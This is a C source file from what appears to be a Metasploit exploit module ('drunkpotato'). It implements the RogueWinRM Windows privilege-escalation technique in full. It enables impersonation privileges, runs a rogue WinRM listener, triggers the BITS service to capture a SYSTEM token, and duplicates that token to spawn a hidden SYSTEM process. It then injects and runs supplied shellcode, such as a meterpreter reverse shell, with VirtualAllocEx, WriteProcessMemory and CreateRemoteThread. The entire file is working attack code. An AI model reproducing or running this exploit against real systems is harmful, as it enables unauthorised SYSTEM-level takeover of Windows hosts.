Files
metasploit-gs/external/source/exploits/drunkpotato/Common_Src_Files/RogueWinRM.c
T

534 lines
17 KiB
C

#include "pch.h"
#define SUCCESS_PWNED 0 // Success exit status of RunRogueWinRM
#define ERROR_NOT_ENOUGH_PRIVILEGES 1
#define ERROR_WINRM_ALREADY_PRESENT 2
#define ERROR_BITS_RUNNING 3
#define ERROR_BITS_NOT_TRIGGERED 4
#define ERROR_NO_BITS_AUTH 5
#define ERROR_UNKNOWN 6
#define ERROR_VIRTUAL_ALLOC_FAILURE 7
#define ERROR_HEAP_ALLOC_FAILURE 8
#define ERROR_TOKEN_IS_NOT_SYSTEM 9
#define ERROR_FAILED_TO_GET_TOKEN 10
#define ERROR_NO_TOKEN_INFOS 11
#define ERROR_TOKEN_DUPLICATION_FAILURE 12
#define ERROR_SHELLCODE_REMOTE_COPY_FAILURE 13
#define ERROR_SHELLCODE_TRIGGER_FAILURE 14
#define ERROR_OTHER 15
#define SHELLCODE_BUFFER_SIZE 400000 // I use such a large buffer to allow the use of payload such as stageless meterpreter (windows/meterpreter_reverse_tcp)
#define WINDOWS_PATH_LENGTH_LIMITATION 260
/**
Main procedure called by main/dllmain. This function successively:
- Checks process privileges
- Starts a rogue WinRM server in a new thread
- Checks if BITS is running and trigger it if it is not
- Call a querySecurityContext to get a SYSTEM token from the Rogue WinRM
- Duplicate this token as a primary token
- Launch a new process as SYSTEM through the previously got token
- Copy the shellcode in the SYSTEM process and make it execute
@param char* shellcode Local address of the shellcode sent by metasploit and allocated in the heap.
@return int Error code. See #define constant in this file.
*/
int RunRogueWinRM(char* metasploit_raw_data)
{
char* winrm_port_address = NULL;
char* shellcode = NULL;
unsigned int shellcode_length = 0;
LocalNegotiator* negotiator = (LocalNegotiator*)calloc(1, sizeof(LocalNegotiator));
THREAD_PARAMETERS threads_params;
HANDLE hThread = NULL;
HANDLE hToken = NULL;
HANDLE elevated_token = NULL;
HANDLE duped_token = NULL;
BOOL bitsRunning = TRUE;
BOOL triggerBitsStatus = FALSE;
BOOL result = FALSE;
//const wchar_t processname[] = L"notepad.exe";
wchar_t processname[WINDOWS_PATH_LENGTH_LIMITATION] = { 0 };
int error_code = ERROR_OTHER;
PROCESS_INFORMATION pi;
STARTUPINFOW si;
createProcessMethod processMethod = UNAUTHORIZED;
if (!negotiator)
{
dprintf("[RunRogueWinRM] ERROR: failed to allocate memory space for negotiator handling.");
return ERROR_HEAP_ALLOC_FAILURE;
}
extract_metasploit_data(metasploit_raw_data, &winrm_port_address, processname, &shellcode, &shellcode_length);
// Get a token for this process and check if current security context is vulnerable.
if ( !OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) )
{
dprintf("[RunRogueWinRM] ERROR: failed to get a token for the current process.");
return ERROR_FAILED_TO_GET_TOKEN;
}
//enable privileges
processMethod = determineProcessLaunchingMethod(hToken);
if (processMethod == UNAUTHORIZED)
{
dprintf("[RunRogueWinRM] ERROR: current process has neither SE_IMPERSONATE_NAME nor SE_ASSIGNPRIMARYTOKEN_NAME privileges. Unexploitable.");
return ERROR_NOT_ENOUGH_PRIVILEGES;
}
negotiator->construct = &Init;
negotiator->construct(negotiator);
threads_params.negotiator = negotiator;
threads_params.winrm_port = winrm_port_address;
hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)handleListener, &threads_params, 0, NULL);
Sleep(1000);
do
{
bitsRunning = isBitsRunning();
if (bitsRunning)
Sleep(30000);
} while (bitsRunning);
triggerBitsStatus = triggerBits();
if (!triggerBitsStatus)
{
dprintf("[RunRogueWinRM] ERROR: cannot activate BITS object. Exiting...");
return ERROR_BITS_NOT_TRIGGERED;
}
if (negotiator->authResult != -1)
{
dprintf("[RunRogueWinRM] authresult %d", negotiator->authResult);
QuerySecurityContextToken(negotiator->phContext, &elevated_token);
error_code = IsTokenSystem(elevated_token);
if (error_code != 0)
{
return error_code;
}
negotiator->destruct(negotiator);
negotiator = NULL;
error_code = DuplicateTokenEx
(
elevated_token,
TOKEN_ALL_ACCESS,
NULL,
SecurityImpersonation,
TokenPrimary,
&duped_token
);
if (error_code == 0)
{
dprintf("[RunRogueWinRM] ERROR: failed to duplicate token: error code 0x%lx", GetLastError());
return ERROR_TOKEN_DUPLICATION_FAILURE;
}
ZeroMemory(&si, sizeof(STARTUPINFOW));
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
si.cb = sizeof(STARTUPINFOW);
si.lpDesktop = (LPWSTR)L"winsta0\\default";
si.dwFlags = STARTF_USESHOWWINDOW;
si.wShowWindow = SW_HIDE;
if (processMethod == WITH_TOKEN)
{
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
dprintf("[RunRogueWinRM] Launching new process through CreateProcessWithTokenW().");
result = CreateProcessWithTokenW
(
duped_token,
0,
processname,
NULL,
0,
NULL,
NULL,
&si,
&pi
);
if (!result)
{
dprintf("[RunRogueWinRM] ERROR: CreateProcessWithTokenW failed to create proc with return code: %d", GetLastError());
return ERROR_UNKNOWN;
}
}
else if (processMethod == AS_USER)
{
dprintf("[RunRogueWinRM] Launching process with CreateProcessAsUserW().");
result = CreateProcessAsUserW
(
duped_token,
processname,
NULL,
NULL,
NULL,
FALSE,
0,
NULL,
L"C:\\",
&si,
&pi
);
if (!result)
{
dprintf("[RunRogueWinRM] ERROR: CreateProcessAsUser failed to create proc with return code: %d", GetLastError());
return ERROR_UNKNOWN;
}
}
dprintf("[RunRogueWinRM] SUCCESS: target process launched as SYSTEM.");
error_code = trigger_drunkpotato(shellcode, shellcode_length, pi);
return error_code;
}
else { dprintf("[RunRogueWinRM] ERROR: no authentication received... negotiator->authResult != -1"); }
CloseHandle(hThread);
return ERROR_NO_BITS_AUTH;
}
/**
This function takes in input the raw data sent by metasploit and extract the shellcode
in one hand, and the WinRM port in the other hand. Indeed, WinRM usually listen on port
5985, but in some cases, it can listen on port 47001:
https://docs.microsoft.com/en-us/windows/win32/winrm/obtaining-data-from-the-local-computer
By convention, metasploit data is formatted as this:
port\x00process_name\x00shellcode_len\x00shellcode
Thus, nulls byte are prohibited.
@param char* metasploit_bulk_data The raw data sent by metasploit, formatted as this: port\x00process_name\x00shellcode_len\x00shellcode
@param char** winrm_port_address The WinRM port address. Should be either 5985 or 47001
@param wchar_t** process_name_as_wchar The name of the process to launch as SYSTEM. For instance notepad.exe
@param char** shellcode The (local) shellcode address
@param unsigned int* shellcode_length The (local) shellcode lenght
@return void
*/
static void extract_metasploit_data(char* metasploit_bulk_data, char** winrm_port_address, wchar_t* process_name_as_wchar, char** shellcode, unsigned int* shellcode_length)
{
char* shellcode_length_str = NULL;
char* process_name_as_char = NULL;
size_t converted_chars = 0;
*winrm_port_address = metasploit_bulk_data;
process_name_as_char = metasploit_bulk_data + strlen(metasploit_bulk_data) + 1; // +1 is for passing the intermediary null byte.
shellcode_length_str = process_name_as_char + strlen(process_name_as_char) + 1;
*shellcode = shellcode_length_str + strlen(shellcode_length_str) + 1;
*shellcode_length = atoi(shellcode_length_str);
mbstowcs_s(
&converted_chars,
process_name_as_wchar,
WINDOWS_PATH_LENGTH_LIMITATION,
process_name_as_char,
_TRUNCATE
);
dprintf("[extract_metasploit_data] WinRM port: %s", *winrm_port_address);
dprintf("[extract_metasploit_data] Process to launch: %s", process_name_as_char);
dprintf("[extract_metasploit_data] shellcode length: %d", *shellcode_length);
return;
}
/**
This function take as parameter the shellcode address in current process and
a handle to a previously created SYSTEM process. This function does 3 things:
- allocate executable memory space in remote process (in which the shellcode will be written)
- copy the shellcode inside it
- trigger its execution
@param char* shellcode The (local) shellcode address
@param PROCESS_INFORMATION pi A handle to SYSTEM remote process
@return int The error code. SUCCESS_PWNED if succeed.
*/
static int trigger_drunkpotato(char* shellcode, unsigned int shellcode_len, PROCESS_INFORMATION pi)
{
LPVOID shellcode_remote_address = NULL;
SIZE_T lpnumber = 0;
dprintf("[RunRogueWinRM] Attempting to allocate executable memory space in spawned process...");
shellcode_remote_address = (int*)VirtualAllocEx(pi.hProcess, NULL, shellcode_len, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!shellcode_remote_address)
{
dprintf("[RunRogueWinRM] ERROR: failed to allocate memory in remote process.");
TerminateProcess(pi.hProcess, 0);
WaitForSingleObject(pi.hProcess, 1000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return ERROR_VIRTUAL_ALLOC_FAILURE;
}
dprintf("[RunRogueWinRM] SUCCESS: executable memory space successfully allocated.");
dprintf("[RunRogueWinRM] Attempting to write shellcode in spawned process...");
if (!WriteProcessMemory(pi.hProcess, shellcode_remote_address, shellcode, shellcode_len, &lpnumber))
{
dprintf("[RunRogueWinRM] ERROR: failed to write shellcode into remote process.");
TerminateProcess(pi.hProcess, 0);
WaitForSingleObject(pi.hProcess, 1000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return ERROR_SHELLCODE_REMOTE_COPY_FAILURE;
}
dprintf("[RunRogueWinRM] SUCCESS: shellcode written into SYSTEM process.");
dprintf("[RunRogueWinRM] Attempting to trigger shellcode from spawned process...");
if (!CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)shellcode_remote_address, NULL, 0, 0))
{
dprintf("[RunRogueWinRM] ERROR: failed to trigger shellcode from remote process.");
TerminateProcess(pi.hProcess, 0);
WaitForSingleObject(pi.hProcess, 1000);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
return ERROR_SHELLCODE_TRIGGER_FAILURE;
}
dprintf("[RunRogueWinRM] PWNED ! executing shellcode as SYSTEM.");
return SUCCESS_PWNED;
}
/**
This function checks the privileges of the token passed as argument in order to determine
if the host process will be launched with CreateProcessWithTokenW (requires SE_IMPERSONATE_NAME priv)
or with CreateProcessAsUserW (requires SE_ASSIGNPRIMARYTOKEN_NAME priv).
@param HANDLE hToken A handle to a token (Trivial)
@return createProcessMethod An enumeration (WITH_TOKEN, AS_USER, UNAUTHORIZED)
*/
static createProcessMethod determineProcessLaunchingMethod(HANDLE hToken)
{
dprintf("[createProcessMethod] Attempting to enable SE_IMPERSONATE_NAME privilege...");
if (EnablePriv(hToken, SE_IMPERSONATE_NAME)) { return WITH_TOKEN; }
dprintf("[createProcessMethod] Attempting to enable SE_ASSIGNPRIMARYTOKEN_NAME privilege...");
if (EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME)) { return AS_USER; }
dprintf("[createProcessMethod] ERROR: current user has neither SE_IMPERSONATE_NAME nor SE_ASSIGNPRIMARYTOKEN_NAME privilege. Not vulnerable.");
return UNAUTHORIZED;
}
/**
Get the token (argument) and try to enable the specified privilege (argument) for that token.
@param HANDLE hToken A handle to a token
@param LPCTSTR priv A pointer to a string containing the specified privilege
(for instance SE_IMPERSONATE_NAME)
@return BOOL TRUE if the privilege has been enabled, else FALSE
*/
static BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
{
LUID luid;
TOKEN_PRIVILEGES tp;
if (!LookupPrivilegeValue(NULL, priv, &luid))
{
dprintf("[EnablePriv] ERROR: Priv Lookup FALSE");
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
dprintf("[EnablePriv] ERROR: Priv Adjust FALSE");
return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
{
dprintf("[EnablePriv] ERROR: The token does not have the specified privilege. This mean that current user doesn't have sufficient privileges for exploitation.");
return FALSE;
}
dprintf("[EnablePriv] SUCCESS: Privilege enabled.");
return TRUE;
}
/**
Check if the specified token is a SYSTEM token.
Source of this function:
https://stackoverflow.com/questions/47252634/failed-to-check-against-nt-authority-system-sid
@param HANDLE tok A handle to a token
@return int An error code. 0 for success (i.e. if tok belongs to SYSTEM)
*/
static int IsTokenSystem(HANDLE tok)
{
int error_code = ERROR_OTHER;
TOKEN_USER* token_user_address = NULL;
DWORD dwOut = 0;
PSID sid_address = NULL;
SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY;
dprintf("[IsTokenSystem] Checking if token is SYSTEM...");
GetTokenInformation(tok, TokenUser, 0, 0, &dwOut);
error_code = HRESULT_FROM_WIN32(GetLastError());
if (GetLastError() == ERROR_INSUFFICIENT_BUFFER)
token_user_address = (TOKEN_USER*)calloc(dwOut, sizeof(TOKEN_USER)), error_code = E_OUTOFMEMORY;
if (!token_user_address) { return ERROR_HEAP_ALLOC_FAILURE; }
if (GetTokenInformation(tok, TokenUser, token_user_address, dwOut, &dwOut))
{
if (AllocateAndInitializeSid(&NtAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &sid_address))
{
error_code = EqualSid(sid_address, token_user_address->User.Sid) ? S_OK : ERROR_TOKEN_IS_NOT_SYSTEM;
FreeSid(sid_address);
}
else
error_code = HRESULT_FROM_WIN32(GetLastError());
}
else
error_code = HRESULT_FROM_WIN32(GetLastError());
free(token_user_address);
token_user_address = NULL;
if (error_code == S_OK) { dprintf("[IsTokenSystem] SUCCESS: Token is SYSTEM."); }
else { dprintf("[IsTokenSystem] ERROR: Token is not SYSTEM. Error code = %d", error_code); }
return error_code;
}
/**
Checks if BITS is running through OpenSCManager. This is a prerequisite as
the vulnerable behavior occurs at BITS start time. So it is mandatory to
check if BITS is stopped in order to start it.
@return BOOL FALSE if BITS is not running or if an error occurs.
*/
static BOOL isBitsRunning()
{
SERVICE_STATUS ServiceStatus;
SC_HANDLE hService = NULL;
SC_HANDLE hSCManager = NULL;
BOOL result = FALSE;
int status = -1;
dprintf("[isBitsRunning] Checking if BITS is running (It should not)...");
hSCManager = OpenSCManagerA(NULL, NULL, SC_MANAGER_CONNECT | SERVICE_QUERY_STATUS);
if (hSCManager == NULL)
{
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... OpenSCManagerA error: %d", GetLastError());
return FALSE;
}
hService = OpenServiceA(hSCManager, (LPCSTR)"BITS", SERVICE_QUERY_STATUS);
if (hService == NULL)
{
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... OpenServiceA error: %d", GetLastError());
return FALSE;
}
status = QueryServiceStatus(hService, &ServiceStatus);
if (status == 0)
{
dprintf("[isBitsRunning] SCM ERROR: Skipping BITS check... QueryServiceStatus error: %d", GetLastError());
return FALSE;
}
if (ServiceStatus.dwCurrentState == SERVICE_RUNNING)
{
result = TRUE;
dprintf("[isBitsRunning] BITS is running... Waiting 30 seconds for Timeout (usually 120 seconds for timeout)...");
}
else
result = FALSE;
dprintf("[isBitsRunning] SUCCESS: BITS is not running.");
return result;
}
/**
Start BITS service, and thus trigger the vulnerable behavior.
See https://www.codeproject.com/Articles/13601/COM-in-plain-C
for understanding how to understand how COM objects are implemented in pure C
@return BOOL TRUE if BITS was successfully started. FALSE is an error occurs.
*/
static BOOL triggerBits(void)
{
const wchar_t bits_GUID[] = L"{4991d34b-80a1-4291-83b6-3328366b9097}";
const IID* IID_IUnknown_address = &IID_IUnknown;
BOOL status = FALSE;
HRESULT result = E_FAIL;
IUnknown* unknown1 = NULL;
CLSID clsid;
dprintf("[triggerBits] Attempting to start BITS...");
result = CoInitialize(NULL);
result = CLSIDFromString(bits_GUID, &clsid);
result = CoCreateInstance(&clsid, NULL, CLSCTX_LOCAL_SERVER, IID_IUnknown_address, (void**)&unknown1);
if (result == S_OK)
{
status = TRUE;
unknown1->lpVtbl->Release(unknown1);
}
else
{
dprintf("[triggerBits] ERROR: CoCreateInstance failed with error 0x%x\n", result);
status = FALSE;
}
CoUninitialize();
dprintf("[triggerBits] SUCCESS: BITS triggered!");
return status;
}